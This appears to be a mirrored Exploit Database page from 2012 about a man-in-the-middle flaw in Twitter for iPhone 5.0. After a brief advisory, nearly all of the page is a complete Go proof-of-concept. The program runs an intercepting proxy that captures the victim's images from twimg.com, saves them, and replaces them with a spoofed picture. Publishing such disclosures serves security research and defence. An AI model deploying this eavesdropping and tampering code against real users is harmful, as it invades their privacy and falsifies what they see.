Twitter for iPhone – Man in the Middle Security

• Exploit Database
• 119 阅读

• 作者： Carlos Reventlov
  日期： 2012-11-23
• 类别：

  • remote
  平台：

  • ios
• 来源：https://www.exploit-db.com/exploits/38058/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116

  source: https://www.securityfocus.com/bid/56665/info   Twitter for iPhone is prone to a security vulnerability that lets attackers to perform a man-in-the-middle attack.   Attackers can exploit this issue to capture and modify pictures that the user sees in the application.   Twitter for iPhone 5.0 is vulnerable; other versions may also be affected.   /* Twitter App, eavesdroping PoC   Written by Carlos Reventlov <carlos@reventlov.com> License MIT */   package main   import ( "fmt" "github.com/xiam/hyperfox/proxy" "github.com/xiam/hyperfox/tools/logger" "io" "log" "os" "path" "strconv" "strings" )   const imageFile = "spoof.jpg"   func init() { _, err := os.Stat(imageFile) if err != nil { panic(err.Error()) } }   func replaceAvatar(pr *proxy.ProxyRequest) error { stat, _ := os.Stat(imageFile) image, _ := os.Open(imageFile)   host := pr.Response.Request.Host   if strings.HasSuffix(host, "twimg.com") == true {   if pr.Response.ContentLength != 0 {   file := "saved" + proxy.PS + pr.FileName   var ext string   contentType := pr.Response.Header.Get("Content-Type")   switch contentType { case "image/jpeg": ext = ".jpg" case "image/gif": ext = ".gif" case "image/png": ext = ".png" case "image/tiff": ext = ".tiff" }   if ext != "" { fmt.Printf("** Saving image.\n")   os.MkdirAll(path.Dir(file), os.ModeDir|os.FileMode(0755))   fp, _ := os.Create(file)   if fp == nil { fmt.Errorf(fmt.Sprintf("Could not open file %s for writing.", file)) }   io.Copy(fp, pr.Response.Body)   fp.Close()   pr.Response.Body.Close() }   }   fmt.Printf("** Sending bogus image.\n")   pr.Response.ContentLength = stat.Size() pr.Response.Header.Set("Content-Type", "image/jpeg") pr.Response.Header.Set("Content-Length", strconv.Itoa(int(pr.Response.ContentLength))) pr.Response.Body = image }   return nil }   func main() {   p := proxy.New()   p.AddDirector(logger.Client(os.Stdout))   p.AddInterceptor(replaceAvatar)   p.AddLogger(logger.Server(os.Stdout))   var err error   err = p.Start()   if err != nil { log.Printf(fmt.Sprintf("Failed to bind: %s.\n", err.Error())) } }